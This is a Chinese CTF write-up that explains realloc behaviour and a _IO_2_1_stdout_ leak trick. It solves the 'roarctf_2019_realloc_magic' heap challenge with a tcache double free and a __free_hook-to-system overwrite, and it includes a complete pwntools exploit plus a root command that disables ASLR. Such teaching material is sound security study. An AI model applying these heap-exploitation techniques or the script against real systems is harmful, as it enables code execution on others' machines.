realloc函数应用&IO泄露体验

本题主要介绍realloc函数，平时我们使用realloc最多便是在打malloc_hook-->onegadget的时候，使用realloc_hook调整onegadget的栈帧，从而getshell。

在realloc函数中，也能像malloc一样创建堆，并且比malloc麻烦一些，但是倒是挺有趣的

realloc

realloc(realloc_ptr, size)有两个参数，并且在特定参数有特定效果

1. size == 0 ，这个时候等同于free。也就是free(realloc_ptr)，并且返回空指针。即没有uaf
2. realloc_ptr == 0 && size > 0 ， 这个时候等同于malloc,即malloc(size)
3. malloc_usable_size(realloc_ptr) >= size， 这个时候等同于edit
4. malloc_usable_size(realloc_ptr) < szie， 这个时候才是malloc一块更大的内存，将原来的内容复制过去，再将原来的chunk给free掉

stdout泄露

这里我只给出结论，具体可以参考

1. 设置_flags & _IO_NO_WRITES = 0
2. 设置_flags & _IO_CURRENTLY_PUTTING = 1

3. 设置_flags & _IO_IS_APPENDING = 1

   _flags = 0xFBAD1800

4. 设置_IO_write_base指向想要泄露的位置，_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾，程序中自带地址足够泄露libc)

具备以上基础我们可以来实战一题了

roarctf_2019_realloc_magic

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

64位，保护全开

前情提要：

本题部署在2.27-3ubuntu1_amd64/libc-2.27.so

建议关闭linux地址空间随机化(ASLR)，方便调试。

在root用户下执行

echo 0 > /proc/sys/kernel/randomize_va_space

realloc

int re()
{
  unsigned int size; // [rsp+Ch] [rbp-4h]

  puts("Size?");
  size = get_int();
  realloc_ptr = realloc(realloc_ptr, size);
  puts("Content?");
  read(0, realloc_ptr, size);
  return puts("Done");
}

free

int fr()
{
  free(realloc_ptr);
  return puts("Done");
}

存在uaf，可以利用起来

这里有个清零指针的函数

int ba()
{
  if ( lock )
    exit(-1);
  lock = 1;
  realloc_ptr = 0LL;
  return puts("Done");
}

程序特别简单，但是利用比较精妙，

在realloc的时候，因为每次都是使用realloc_ptr，并且没有变化，导致每次申请的chunk都会写在在realloc_ptr指向的地址，再次申请比上一次的size大就可以往后溢出写

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思路

通过realloc，和uaf，构造好tcache的布局

然后把_IO_2_1_stdout 链到bin里面，通过stdout泄露libc，得到free_hook

最后正常打free_hook：free_hook-->system-->/bin/sh

首先利用malloc(size)和free(size)在tcache上面先准备好

malloc(size)可以由realloc(realloc_ptr,size)得到（本文上面的第二个效果）

free(size)可以由realloc(realloc_ptr,size=0)得到（本文上面的第一个效果)

realloc(0x20,b'b')    #这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备
realloc(0,"")
realloc(0x90,b'b')
realloc(0,"")
realloc(0x10,b'b')
realloc(0,"")

realloc(0x90,b'b')
for i in range(7):
    dele()
realloc(0,"")

这一步非常重要，首先将0x90的地址申请回来，赋值给realloc_ptr，在通过uaf，tcache double free free掉7次，填满tcache bin，然后再free一次，使0x90进入到unsortedbin，把main_arena链进来

为什么第八次free需要使用realloc去free呢？

因为首先是因为用来链上unsortedbin，其次用来清空掉realloc_ptr指针，不影响后面的chunk使用

看一下此时的堆空间

realloc(0x20,b"aaa")
pl=p64(0)*5+p64(0x81)+b"\x60\xc7"
#realloc(0x50,b'aaa')
#这里的注释是用来方便看你申请的堆放哪里去了，可以自己看一下
realloc(0x50,pl)

这里看上面图片的堆布局，如果你用了注释看了一下gdb，就知道为什么这样摆了，

后面申请的0x50是因为能刚好申请到更改unsortedbin的范围，大一点也没关系

首先改chunkB，也就是我们放入unsortedbin的chunk，改掉size值，可以结合realloc(0)，多一次malloc

后面的"\x60\xc7"看图就知道了

_IO_2_1_stdout_跟main_arena相差了4位，并且低三位是固定的，只需要爆破一位

（因为我关闭了ASLR，所以直接\x60\xc7打本地不用爆破一次通(x)）

直接看成果图

可以发现成功链上了_IO_2_1_stdout_，接下来我们只需要把他申请回来就行

realloc(0,"")
realloc(0x90,b'aa')
realloc(0,"")
pl=p64(0xfbad1887)+p64(0)*3+b'\x58'
realloc(0x90,pl)

这里就涉及到_IO_2_1_stdout_泄露libc了，（下图都还没改的

0xfbad1887照着原来的就行低两位，高地址就是取我们设定好的0xFBAD1800

这里前面的_IO_read_xx用p64(0)填充掉，然后利用_IO_write_base设置指向想要泄露位置，比如说改成\x58

也就是

把_IO_file_jumps泄露出来，就可以计算libc，别的位置都可以，只需要是能算libc的即可

然后算出free_hook，system的libc地址，

接下来首先先用给的清理realloc_ptr的函数，将realloc_ptr置0

sla(menu,'666')

realloc(0x30,b'a')
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0x10,b'b')#2 
realloc(0,"")
realloc(0xa0,b'b')
for i in range(7):
    dele()
realloc(0,"")
realloc(0x30,b'a')

pl=p64(0)*7+p64(0x71)+p64(free-8)
realloc(0x70,pl)
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0xa0,b'/bin/sh\x00'+p64(sys))
dele()

free-8是为了放好/bin/sh，然后顺便下一个将free_hook改成system

完整exp:

from pwn import*

def debug(cmd = 0):
        if cmd == 0:
            gdb.attach(r)
        else:
            gdb.attach(r,cmd)
        pause()

menu=b">>"
def realloc(size,con):
    r.sendlineafter(menu, b'1')
    r.sendlineafter(b'ize',str(size))
    r.sendafter(b'ent',con)
def dele():
    r.sendlineafter(menu,b'2')
    
libc=ELF("libc-2.27.so")

context(os='linux', arch='amd64',log_level='debug')


def pwn():
    realloc(0x20,b'b')
    realloc(0,"")
    realloc(0x90,b'b')
    realloc(0,"")
    realloc(0x10,b'b')
    realloc(0,"")

    realloc(0x90,b'b')
    for i in range(7):
        dele()
    realloc(0,"")
    realloc(0x20,b"aaa")
    payload=p64(0)*5+p64(0x81)+b"\x60\xc7"
    #realloc(0x50,b'aaa')
    realloc(0x50,payload)
    
    realloc(0,"")
    realloc(0x90,b'aa')
    realloc(0,"")
    payload=p64(0xfbad1886)+p64(0)*3+b'\x58'
    realloc(0x90,payload)
    #debug()
    leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['_IO_file_jumps']
    print(hex(leak))
    free=leak+libc.sym['__free_hook']
    system=leak+libc.sym['system']

    r.sendlineafter(menu,'666')

    realloc(0x30,b'a')
    realloc(0,"")
    realloc(0xa0,b'a')
    realloc(0,"")
    realloc(0x10,b'b')#2
    realloc(0,"")
    realloc(0xa0,b'b')
    for i in range(7):
        dele()
    realloc(0,"")
    realloc(0x30,b'a')

    payload=p64(0)*7+p64(0x71)+p64(free-8)
    realloc(0x70,payload)
    realloc(0,"")
    realloc(0xa0,b'a')
    realloc(0,"")
    realloc(0xa0,b'/bin/sh\x00'+p64(system))
    dele()
    r.interactive()

for i in range(1):
    try:
        r=process("./pwn")
        pwn()
        break
    except:
        r.close()

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